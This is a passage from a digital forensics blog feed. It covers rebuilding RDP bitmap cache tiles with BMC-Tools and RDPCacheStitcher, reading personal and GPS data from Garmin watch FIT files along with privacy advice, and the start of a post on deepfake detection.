&lt;p&gt;The bitmap cache mechanism is ultimately designed to enhance the user experience and reduce the amount of data transmitted over a network. Each screen element is divided into small tiles, these tiles are hashed, which avoids duplication of the same tiles, ensuring that only unique tiles are cached. These tiles are stored in the user’s profile directory: &lt;em&gt;(%USERPROFILE%\AppData\Local\Microsoft\Terminal Server Client\Cache)&lt;/em&gt;&lt;/p&gt;
&lt;h2 id=&quot;significance-for-dfir-investigations&quot;&gt;Significance for DFIR investigations&lt;/h2&gt;
&lt;p&gt;Cached tiles can be reassembled to recreate the screen as the user had seen it during an RDP session. This is valuable if the session was encrypted, or other artefacts of relevance have been wiped. The persistence of these artefacts means that even if the user has attempted to cover their tracks by deleting files or clearing logs, the bitmap cache may still hold clues as to what their actions entailed.&lt;/p&gt;
&lt;h2 id=&quot;real-world-scenario-traditional-rdp-logs-have-been-wiped&quot;&gt;Real-world scenario. Traditional RDP logs have been wiped&lt;/h2&gt;
&lt;p&gt;In a recent investigation into a threat actor who had exfiltrated sensitive data from an organization, we discovered that the adversary had used RDP to access a critical file server but had deliberately wiped traditional artefacts on the initial access machine including Windows Event Logs, TerminalServices logs, and $Security.evtx.&lt;/p&gt;
&lt;p&gt;However, the RDP bitmap cache folder remained intact. Using BMC-Tools, we were able to extract over 8,000 files and begin to put pieces of the puzzle back together. The bitmap cache provided some key breakthroughs.&lt;/p&gt;
&lt;p&gt;Network issues and administrative account access:&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/the-remote-desktop-puzzle-dfir-techniques-for-dealing-with-rdp-bitmap-cache/01-643f19eb.webp&quot; alt=&quot;Recovered RDP cache tiles showing a command prompt with failed pings to 8.8.8.8 and a local administrator account in User Accounts&quot; width=&quot;768&quot; height=&quot;364&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;p&gt;TreeSize present and credentials archived:&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/the-remote-desktop-puzzle-dfir-techniques-for-dealing-with-rdp-bitmap-cache/02-0858bf6b.webp&quot; alt=&quot;Recovered cache tiles showing TreeSize in a menu and zip archives named Tokens and Software, suggesting data gathering&quot; width=&quot;666&quot; height=&quot;244&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;p&gt;PowerShell scripts attempting to run – blurry due to actual tile size:&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/the-remote-desktop-puzzle-dfir-techniques-for-dealing-with-rdp-bitmap-cache/03-9c1dbf8c.webp&quot; alt=&quot;Small, blurry cached tile reading &apos;Power Shell Script failed to run&apos;, evidence of PowerShell scripts being attempted&quot; width=&quot;297&quot; height=&quot;56&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;p&gt;Malware alerts, alert artefacts were wiped – blurry due to actual tile size:&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/the-remote-desktop-puzzle-dfir-techniques-for-dealing-with-rdp-bitmap-cache/04-d4a96f2a.webp&quot; alt=&quot;Small, blurry cached tile reading &apos;Malware detection a...&apos;, evidence of a malware alert during the RDP session&quot; width=&quot;325&quot; height=&quot;60&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;p&gt;We were able to recover the cached tiles from BMC and stitch them back together using RDP Stitcher. We could evidence that during the RDP session the user had used TreeSize. It was most likely used as a reconnaissance tool to identify locations containing valuable data, compress sensitive datasets into 7zip archives, exfiltrate the datasets to external destinations including TOR hidden services and extract credentials and authentication tokens. Stitching the artefacts back together we were able to see images of open password manager windows and plaintext credentials visible in configuration files.&lt;/p&gt;
&lt;p&gt;The reconstructed tiles revealed the hostname of the remote machine being accessed, which allowed us to pivot our analysis to a secondary host, where we uncovered more traditional artefacts including PowerShell logs, Sysmon events and evidence of credential dumping, which were no longer available on the original host.&lt;/p&gt;
&lt;p&gt;By correlating evidence from both of these hosts, we were able to reconstruct the full attack chain. Evidencing the threat actor’s entry into the system, the reconnaissance that had taken place, the data being exfiltrated, and their eventual exit from. The RDP bitmap cache played a key role in bridging the gaps left by anti-forensic techniques used by the attackers, allowing the full intrusion to be established.&lt;/p&gt;
&lt;h2 id=&quot;analysis-of-the-cache-tools-and-techniques&quot;&gt;Analysis of the cache. Tools and techniques&lt;/h2&gt;
&lt;p&gt;Certain tools and techniques can be used to analyse the bitmap cache, let’s run through them:&lt;/p&gt;
&lt;h3 id=&quot;1-extracting-the-cache&quot;&gt;1. Extracting the cache&lt;/h3&gt;
&lt;p&gt;The first step is to extract the cache from the machine; the bitmap cache is found below. %USERPROFILE%\AppData\Local\Microsoft\Terminal Server Client\Cache:&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/the-remote-desktop-puzzle-dfir-techniques-for-dealing-with-rdp-bitmap-cache/05-dacb5366.webp&quot; alt=&quot;Windows Explorer in the Terminal Server Client Cache folder listing bcache24.bmc and Cache0000 to Cache0002.bin files of about 100 MB each&quot; width=&quot;768&quot; height=&quot;251&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;h3 id=&quot;2-reconstructing-the-cache&quot;&gt;2. Reconstructing the cache&lt;/h3&gt;
&lt;p&gt;Several tools can be used to parse and reconstruct the cached tiles, I have used &lt;a href=&quot;https://github.com/ANSSI-FR/bmc-tools&quot;&gt;BMC-Tools&lt;/a&gt; which is a python-based utility designed to parse the .bmc files, provide all tiles individually and also a collage of the tiles together.&lt;/p&gt;
&lt;p&gt;BMC-Tools:&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/the-remote-desktop-puzzle-dfir-techniques-for-dealing-with-rdp-bitmap-cache/06-b7446891.webp&quot; alt=&quot;Command prompt running bmc-tools.py on Cache0001.bin, reporting 6459 tiles extracted and a collage file exported&quot; width=&quot;768&quot; height=&quot;163&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;p&gt;From one cached session file, BMC-Tools has exported 6459 files, alongside a collage file, which provides us with the following files:&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/the-remote-desktop-puzzle-dfir-techniques-for-dealing-with-rdp-bitmap-cache/07-e7333073.webp&quot; alt=&quot;Explorer folder cache0001_parsed holding thousands of tiny exported bitmap tile files, 6,460 items in total&quot; width=&quot;768&quot; height=&quot;431&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/the-remote-desktop-puzzle-dfir-techniques-for-dealing-with-rdp-bitmap-cache/08-7e3aef30.webp&quot; alt=&quot;BMC-Tools collage of cached tiles, a jumbled mosaic of blue desktop, white and grey fragments that is hard to interpret&quot; width=&quot;630&quot; height=&quot;999&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;p&gt;One of the main challenges once we have parsed these tiles is the arrangement of those tiles. The tiles are stored. BMC-Tools attempts to put these tiles in a readable format, but the results are hit and miss. To provide an example of this, let’s look at the collage of these tiles:&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/the-remote-desktop-puzzle-dfir-techniques-for-dealing-with-rdp-bitmap-cache/09-a6798665.webp&quot; alt=&quot;Close-up of the collage showing scrambled Windows desktop fragments, taskbar icons and part of a username&quot; width=&quot;768&quot; height=&quot;161&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;p&gt;Although we can figure out what some of those tiles might be, it’s still tricky to work out what was going on during this session, we can see some potential forensic tools, a username and that’s about it. That’s where &lt;a href=&quot;https://github.com/BSI-Bund/RdpCacheStitcher&quot;&gt;RDPCacheStitcher&lt;/a&gt; comes in, this is a tool which supports analysts in reconstructing the bitmap, using raw cache tile bitmaps extracted by tools like BMC-Tools. RDPCacheStitcher provides a graphical user interface and placement heuristics for putting tiles together so that meaningful information can be reconstructed.&lt;/p&gt;
&lt;p&gt;Spending a few minutes piecing things together, we can see some forensic tools on the desktop, a user trying to access a location they don’t have permission to access, a text file, what was present on the start menu at the time of RDP connection and the user account signed in. Whilst this doesn’t provide the most exciting of examples, it provides an insight as to how we can go from a mess of over 6,000 32×32 individual tiles, to a legible representation of what has occurred on a system during the remote desktop session.&lt;/p&gt;
&lt;p&gt;RDP Cache Stitcher:&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/the-remote-desktop-puzzle-dfir-techniques-for-dealing-with-rdp-bitmap-cache/10-1799217f.webp&quot; alt=&quot;RDP Cache Stitcher workspace with reassembled desktop icons for forensic tools, a Notepad window, and a tile store below&quot; width=&quot;768&quot; height=&quot;370&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;h2 id=&quot;visual-placement-heuristics&quot;&gt;Visual placement heuristics&lt;/h2&gt;
&lt;p&gt;RDPCacheStitcher uses visual placement heuristics to simulate human pattern recognition to determine where one tile fits in relation to other tiles, based on their similarity to one another. Ultimately, the goal is to provide the analyst with tiles ordered in a way that makes it easier to reassemble an image, from many small, unordered cached fragments.&lt;/p&gt;
&lt;p&gt;To provide an example of this, take the image below – the tool has used edge pattern matching to compare the pixels along the edges of one tile to those of adjacent tiles (left, right, top, bottom) e.g. if the right edge of Tile 1 matches the left edge of Tile 2 closely in colour or pixel pattern, the heuristic suggests placing them next to each other, though the results are hit-and-miss.&lt;/p&gt;
&lt;p&gt;Similar tile results:&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/the-remote-desktop-puzzle-dfir-techniques-for-dealing-with-rdp-bitmap-cache/11-dba10ceb.webp&quot; alt=&quot;Rows of similar blue desktop-background tiles in the stitcher, showing how hard it is to tell near-identical tiles apart&quot; width=&quot;768&quot; height=&quot;233&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;p&gt;The tool does however offer another useful feature whereby when you are adding your tiles to your workspace, clicking an empty tile will provide you with a list of tiles that it thinks might fit in the space you have selected, i.e. in the image below, the tool correctly gives us the left-hand corner tile of the text document.&lt;/p&gt;
&lt;p&gt;It is worth noting that the cached tiles aren’t stored sequentially, and the matching is achieved through many visual placement heuristic techniques including edge similarity, colour matching, pattern continuity and pixel similarity. Whilst it doesn’t automatically perform full reassembly, it speeds up the manual work for analysts dramatically by doing some of the comparison legwork in the background.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/the-remote-desktop-puzzle-dfir-techniques-for-dealing-with-rdp-bitmap-cache/12-fb51abc7.webp&quot; alt=&quot;RDP Cache Stitcher with an empty tile selected in red and a side list of suggested matching tiles for that position&quot; width=&quot;768&quot; height=&quot;216&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;h2 id=&quot;recent-exploit&quot;&gt;Recent exploit&lt;/h2&gt;
&lt;p&gt;In January 2025, Cyber Security News reported that hackers &lt;a href=&quot;https://cybersecuritynews.com/hackers-exploit-rdp-protocol-to-gain-windows-access/&quot;&gt;had been successfully reconstructing RDP session frames&lt;/a&gt;. With additional tools, such as BMC-Tools and RdpCacheStitcher, attackers can attackers rebuild visual representations of the victim’s screen activity, including usernames and passwords. This allows threat actors to silently view credentials entered during RDP sessions without needing keyloggers or full screen captures.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;The RDP bitmap cache is a witness to remote desktop interactions, providing forensic analysts with an insight into past activities. By understanding and using specialized tools, analysts can piece together potentially crucial evidence when other forensic insights are not available.&lt;/p&gt;
&lt;h2 id=&quot;tools-used&quot;&gt;Tools used&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ANSSI-FR/bmc-tools&quot;&gt;BMC-Tools&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/BSI-Bund/RdpCacheStitcher&quot;&gt;RDPCacheStitcher&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><dc:creator>Joseph Williams</dc:creator><category>Windows Forensics</category><category>RDP</category><category>bitmap cache</category><category>lateral movement</category></item><item><title>How Garmin watches reveal your personal data, and what you can do</title><link>https://jwdfir.com/articles/how-garmin-watches-reveal-your-personal-data-and-what-you-can-do/</link><guid isPermaLink="true">https://jwdfir.com/articles/how-garmin-watches-reveal-your-personal-data-and-what-you-can-do/</guid><description>What a Garmin watch stores, how FIT files reveal location and activity, its role in a murder investigation, and how Garmin privacy compares with rivals.</description><pubDate>Tue, 28 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;tldr&quot;&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;A walk-through of obtaining sensitive data from a Garmin watch using forensic techniques&lt;/li&gt;
&lt;li&gt;How digital forensics on a Garmin watch helped solve a double murder case&lt;/li&gt;
&lt;li&gt;A comparison of Garmin’s privacy with other brands including Fitbit, Apple, and Samsung&lt;/li&gt;
&lt;li&gt;Understand the security and privacy implications of wearable device data&lt;/li&gt;
&lt;li&gt;Advice for Garmin users on securing their watch&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Related to my &lt;a href=&quot;https://jwdfir.com/articles/advanced-forensic-techniques-for-recovering-hidden-data-in-wearable-devices/&quot;&gt;last post&lt;/a&gt; which detailed forensic techniques for recovering data in smart watches, this post looks specifically at Garmin watches. This time, we’ll explore how data can be accessed much easier, without any user credentials or the linked mobile device, and how users can protect themselves.&lt;/p&gt;
&lt;p&gt;Garmin smartwatches hold a raft of data covering much more than fitness metrics, but they also have privacy issues. For instance, a misplaced Garmin smartwatch can be easily connected to a computer, exposing its stored data to unauthorised access. This post explores both the forensic opportunities, and the security risks associated with Garmin smartwatches.&lt;/p&gt;
&lt;p&gt;The Garmin Vivo Active 3 could simply be plugged into a computer, and was then presented as a USB drive, where the file directory can be browsed as if the device was an external USB device.&lt;/p&gt;
&lt;h2 id=&quot;garmin-file-directory&quot;&gt;Garmin file directory&lt;/h2&gt;
&lt;p&gt;The main GARMIN folder contains several sub-folders which relate to things that have occurred or have been recorded on the physical device. These include activity data, GPS data, sleep data, messages, and device information.&lt;/p&gt;
&lt;p&gt;Garmin file directory:&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/how-garmin-watches-reveal-your-personal-data-and-what-you-can-do/01-f5b73fb1.webp&quot; alt=&quot;Windows Explorer view of a connected Garmin watch showing a GARMIN folder plus autorun and metadata files&quot; width=&quot;888&quot; height=&quot;218&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;p&gt;Example of data:&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/how-garmin-watches-reveal-your-personal-data-and-what-you-can-do/02-90416198.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/how-garmin-watches-reveal-your-personal-data-and-what-you-can-do/w800/02-90416198.webp 800w, https://jwdfir.com/images/articles/how-garmin-watches-reveal-your-personal-data-and-what-you-can-do/02-90416198.webp 914w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/how-garmin-watches-reveal-your-personal-data-and-what-you-can-do/02-90416198.webp&quot; alt=&quot;Folders inside the Garmin directory, including GPS, METRICS, SCORE, GOLF and ACTIVITY, with modified dates&quot; width=&quot;914&quot; height=&quot;259&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;p&gt;Data is stored in .FIT (Flexible and Interoperable data Transfer) files. These are a standardized file format used by Garmin to store and share data from fitness and health devices.&lt;/p&gt;
&lt;p&gt;The FIT protocol is designed to be compact, interoperable, and extensible. These files store various types of data, including configuration data, activity logs, courses, and workouts. They also capture detailed information such as heart rate, speed, pace, and power. They can be imported to and read by a variety of fitness tracking services like Strava, MapMyFitness, and Endomondo.&lt;/p&gt;
&lt;p&gt;.FIT files can be easily transferred from the smartwatch to desktop, mobile, or cloud platforms, making fitness easily shared and analysed. That ease creates a significant security concern though. If a Garmin smartwatch is lost or misplaced the .FIT files stored on it can be accessed by simply connecting the device to a computer, potentially exposing sensitive data.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/how-garmin-watches-reveal-your-personal-data-and-what-you-can-do/03-24d35ab1.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/how-garmin-watches-reveal-your-personal-data-and-what-you-can-do/w800/03-24d35ab1.webp 800w, https://jwdfir.com/images/articles/how-garmin-watches-reveal-your-personal-data-and-what-you-can-do/03-24d35ab1.webp 1097w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/how-garmin-watches-reveal-your-personal-data-and-what-you-can-do/03-24d35ab1.webp&quot; alt=&quot;List of .FIT files on the Garmin watch, each 16 to 30 KB, readable by simply connecting the device&quot; width=&quot;1097&quot; height=&quot;270&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;h2 id=&quot;fit-files&quot;&gt;.FIT files&lt;/h2&gt;
&lt;p&gt;A .FIT file viewer, such as &lt;a href=&quot;https://www.fitfileviewer.com/&quot;&gt;FIT File Viewer&lt;/a&gt;, enables files to be analysed easily. Files can be saved from this location into CSV format, and further analysed:&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/how-garmin-watches-reveal-your-personal-data-and-what-you-can-do/04-84b641b2.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/how-garmin-watches-reveal-your-personal-data-and-what-you-can-do/w800/04-84b641b2.webp 800w, https://jwdfir.com/images/articles/how-garmin-watches-reveal-your-personal-data-and-what-you-can-do/04-84b641b2.webp 2139w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/how-garmin-watches-reveal-your-personal-data-and-what-you-can-do/04-84b641b2.webp&quot; alt=&quot;FIT File Viewer showing the SETTINGS.FIT user profile with gender, height, weight, resting heart rate, birth year and wake and sleep times&quot; width=&quot;2139&quot; height=&quot;323&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;p&gt;The above image shows the SETTINGS.FIT file in FIT File Viewer, which provides information such as the gender, height, weight, language, average resting heart rate and year of birth set by the user, as well as the average wake and sleep time of the individual wearing the watch.&lt;/p&gt;
&lt;p&gt;The below image shows an activity which took place on the Garmin Vivoactive 3 device. The .FIT file for this activity was imported into the Strava application to present the data in an easy-to-understand format. Applications like Strava are incredibly useful for viewing .FIT files, as they allow users to easily upload and analyse their fitness data.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/how-garmin-watches-reveal-your-personal-data-and-what-you-can-do/05-efd8d6eb.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/how-garmin-watches-reveal-your-personal-data-and-what-you-can-do/w800/05-efd8d6eb.webp 800w, https://jwdfir.com/images/articles/how-garmin-watches-reveal-your-personal-data-and-what-you-can-do/05-efd8d6eb.webp 998w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/how-garmin-watches-reveal-your-personal-data-and-what-you-can-do/05-efd8d6eb.webp&quot; alt=&quot;Strava summary of a lunch walk recorded on a Garmin Vivoactive 3, with distance, time, pace, elevation and steps&quot; width=&quot;998&quot; height=&quot;247&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/how-garmin-watches-reveal-your-personal-data-and-what-you-can-do/06-577ec359.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/how-garmin-watches-reveal-your-personal-data-and-what-you-can-do/w800/06-577ec359.webp 800w, https://jwdfir.com/images/articles/how-garmin-watches-reveal-your-personal-data-and-what-you-can-do/06-577ec359.webp 941w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/how-garmin-watches-reveal-your-personal-data-and-what-you-can-do/06-577ec359.webp&quot; alt=&quot;Strava splits table and satellite map tracing the GPS route of the walk, revealing the user&apos;s exact movements&quot; width=&quot;941&quot; height=&quot;409&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;p&gt;These files contain detailed information about workouts, including GPS coordinates, heart rate, speed, and elevation. In an investigation, such data can be invaluable. For instance, in a missing person case, the GPS data from a .FIT file could help trace the individual’s last known movements.&lt;/p&gt;
&lt;p&gt;The below image is a snippet taken from the application ‘Golden Cheetah’. Golden Cheetah is an open-source software application designed for athletes to analyse their training data. It can import data from various devices and formats, including Garmin, Polar, and SRM. The application provides a rich set of tools for analysing performance, such as critical power modelling, performance plots, and stress plots.&lt;/p&gt;
&lt;p&gt;This image provides a graphical view of the imported .FIT file from the activity depicted in the activity that was imported to Strava. It shows heartrate, speed, and cadence during the activity:&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/how-garmin-watches-reveal-your-personal-data-and-what-you-can-do/07-0a93fc00.webp&quot; alt=&quot;Graphs of heart rate, speed and cadence over the activity, from the imported .FIT file&quot; width=&quot;858&quot; height=&quot;410&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;h2 id=&quot;garmin-watch-helps-solve-double-murder-investigation&quot;&gt;Garmin watch helps solve double murder investigation&lt;/h2&gt;
&lt;p&gt;In 2018, there was a breakthrough in a double murder case where the artefacts stored on a Garmin fitness tracking device helped convict Mark Fellows for the &lt;a href=&quot;https://www.theverge.com/2019/1/18/18188205/garmin-data-iceman-murder-mr-big-amazon-alexa&quot;&gt;murders of John Kinsella and Paul Massey&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In 2018, Fellows cycled up to and shot Kinsella. The data stored on Fellows’ Garmin watch was vital in helping prove he had committed the offence.&lt;/p&gt;
&lt;p&gt;The 2015 investigation conducted by Greater Manchester Police into the Massey murder had stalled until the Kinsella evidence was uncovered by Merseyside Police. When they accessed Fellows’ Garmin Forerunner watch (which had GPS capabilities) it showed that before the Massey murder, the wearer had travelled a route to the area where that murder took place on 26 July 2015.&lt;/p&gt;
&lt;p&gt;The jury were told this key piece of evidence showed a “reconnaissance run”. The GPS data revealed that Fellows had indeed taken a route that took him near the scene around the time of Massey’s murder. The speed and time at which the GPS tracked Fellows movements from his home to Massey’s suggested that he was on a bike, as he was for Kinsella’s three years later.&lt;/p&gt;
&lt;p&gt;This case highlights the critical role that Garmin smartwatch data can play in legal and investigative contexts, providing detailed and objective evidence that can significantly impact the outcomes of cases.&lt;/p&gt;
&lt;h2 id=&quot;privacy&quot;&gt;Privacy&lt;/h2&gt;
&lt;p&gt;Garmin devices do not universally employ robust encryption for the data stored directly on the physical device. This means that if a Garmin smartwatch is lost or stolen, the data can potentially be accessed by simply connecting the device to a computer, as it often appears as a USB drive.&lt;/p&gt;
&lt;h2 id=&quot;smartwatch-privacy-comparison&quot;&gt;Smartwatch privacy comparison&lt;/h2&gt;
&lt;h3 id=&quot;garmin&quot;&gt;Garmin&lt;/h3&gt;
&lt;p&gt;Garmin smartwatches store data in .FIT files, which can be accessed by connecting the device to a computer, where it appears as a USB drive. This data includes activity logs, GPS data, sleep data, and device information. However, Garmin devices generally lack robust encryption for data stored directly on the device. Users can sync their data to the Garmin Connect app for secure cloud storage. The types of data stored on Garmin devices include activity data such as heart rate, speed, pace, and power, as well as GPS data, sleep data, and device settings.&lt;/p&gt;
&lt;h3 id=&quot;fitbit--google&quot;&gt;Fitbit / Google&lt;/h3&gt;
&lt;p&gt;Fitbit devices store data in proprietary formats, accessible through the Fitbit application. Data can be exported in various formats, including CSV. Fitbit employs encryption for data stored on the device and during transmission to the Fitbit app, ensuring secure storage in the Fitbit cloud. The data stored on Fitbit devices includes activity data like steps, heart rate, and calories burned, sleep data, GPS data for models with built-in GPS, notifications, messages, and health metrics such as SpO2 and ECG for certain models.&lt;/p&gt;
&lt;h3 id=&quot;apple&quot;&gt;Apple&lt;/h3&gt;
&lt;p&gt;Apple Watch data is primarily accessed through the health app only on iOS devices, with data exportable in XML format for further analysis. Apple Watch uses end-to-end encryption for data stored on the device and in iCloud, with strong security measures including biometric authentication and device passcodes. The types of data stored on Apple Watch include activity data like steps, heart rate, and calories burned, GPS data, health metrics such as ECG and blood oxygen levels, notifications, messages, sleep data, and environmental data like noise levels.&lt;/p&gt;
&lt;h3 id=&quot;samsung&quot;&gt;Samsung&lt;/h3&gt;
&lt;p&gt;Samsung Galaxy Watch data is accessed through the Samsung Health app, with data exportable in various formats, including CSV. Samsung employs encryption for data stored on the device and during transmission to the Samsung Health app, with secure storage in Samsung Cloud and additional security features like Knox security.&lt;/p&gt;
&lt;p&gt;The data stored on Samsung Galaxy Watch includes activity data like steps, heart rate, and calories burned, GPS data, health metrics such as ECG and blood pressure for certain models, notifications, messages, sleep data, and environmental data like UV levels.&lt;/p&gt;
&lt;p&gt;In summary, Garmin allows direct access to data via USB, while Fitbit, Apple and Samsung watches primarily use their respective apps for data access and thus offer stronger encryption and security than their Garmin counterparts.&lt;/p&gt;
&lt;h2 id=&quot;advice&quot;&gt;Advice&lt;/h2&gt;
&lt;p&gt;To mitigate the risk of unauthorized data access, users can take several precautions.&lt;/p&gt;
&lt;h3 id=&quot;sync-your-watch&quot;&gt;Sync your watch&lt;/h3&gt;
&lt;p&gt;Firstly, they should regularly sync their smartwatch with the Garmin Connect app, which stores data securely in the cloud. This ensures that even if the device is lost, the data remains accessible and secure online.&lt;/p&gt;
&lt;h3 id=&quot;set-passcode-or-pin&quot;&gt;Set Passcode or PIN&lt;/h3&gt;
&lt;p&gt;Secondly, users can enable any available security features on their smartwatch, such as setting a PIN or passcode if the device supports it. This adds an extra layer of protection, making it more difficult for unauthorized users to access the data.&lt;/p&gt;
&lt;h3 id=&quot;keep-it-safe&quot;&gt;Keep it safe&lt;/h3&gt;
&lt;p&gt;Additionally, users should be cautious about the physical security of their devices. Keeping the smartwatch in a secure location when not in use and being mindful of its whereabouts can help prevent loss or theft. If a device is lost or stolen, users should immediately unlink it from their Garmin Connect account and change their account passwords to prevent any potential misuse of their data.&lt;/p&gt;
&lt;h2 id=&quot;tools-used&quot;&gt;Tools used&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.fitfileviewer.com/&quot;&gt;FIT File Viewer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.goldencheetah.org/&quot;&gt;Golden Cheetah&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.strava.com/&quot;&gt;Strava&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><dc:creator>Joseph Williams</dc:creator><category>Mobile &amp; Wearables</category><category>wearables</category><category>Garmin</category><category>privacy</category></item><item><title>Tackling AI threats. Advanced DFIR methods and tools for deepfake detection</title><link>https://jwdfir.com/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/</link><guid isPermaLink="true">https://jwdfir.com/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/</guid><description>How DFIR teams can detect AI-generated images, video and documents using metadata, hex, error level and noise analysis, and C2PA content credentials.</description><pubDate>Mon, 13 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;tldr&quot;&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;AI-generated documents, videos and more pose significant challenges for DFIR&lt;/li&gt;
&lt;li&gt;DFIR teams can harness innovative detection strategies and tooling&lt;/li&gt;
&lt;li&gt;Digital fingerprinting and watermarking, AI-powered and behavioural analyses&lt;/li&gt;
&lt;li&gt;Hardware-based forensics and image-specific forensic techniques&lt;/li&gt;
&lt;li&gt;Strategies for DFIR teams and recommendations to businesses&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;the-rise-of-ai-generated-fakes&quot;&gt;The rise of AI-generated fakes&lt;/h2&gt;
&lt;p&gt;Imagine receiving an urgent email from your CEO, only to find out later it was a sophisticated deepfake. Scary, right? With the rise of AI, new risks to cybersecurity have appeared.&lt;/p&gt;
&lt;p&gt;AI-generated fakes, or highly precise fabricated documents, media, and digital artefacts, are one of the most important challenges for DFIR practitioners.&lt;/p&gt;
&lt;p&gt;This post explores the mechanisms behind AI-generated fakes, their implications for DFIR, and strategies to counteract their impact.&lt;/p&gt;
&lt;h2 id=&quot;what-are-ai-generated-fakes&quot;&gt;What are AI-generated fakes?&lt;/h2&gt;
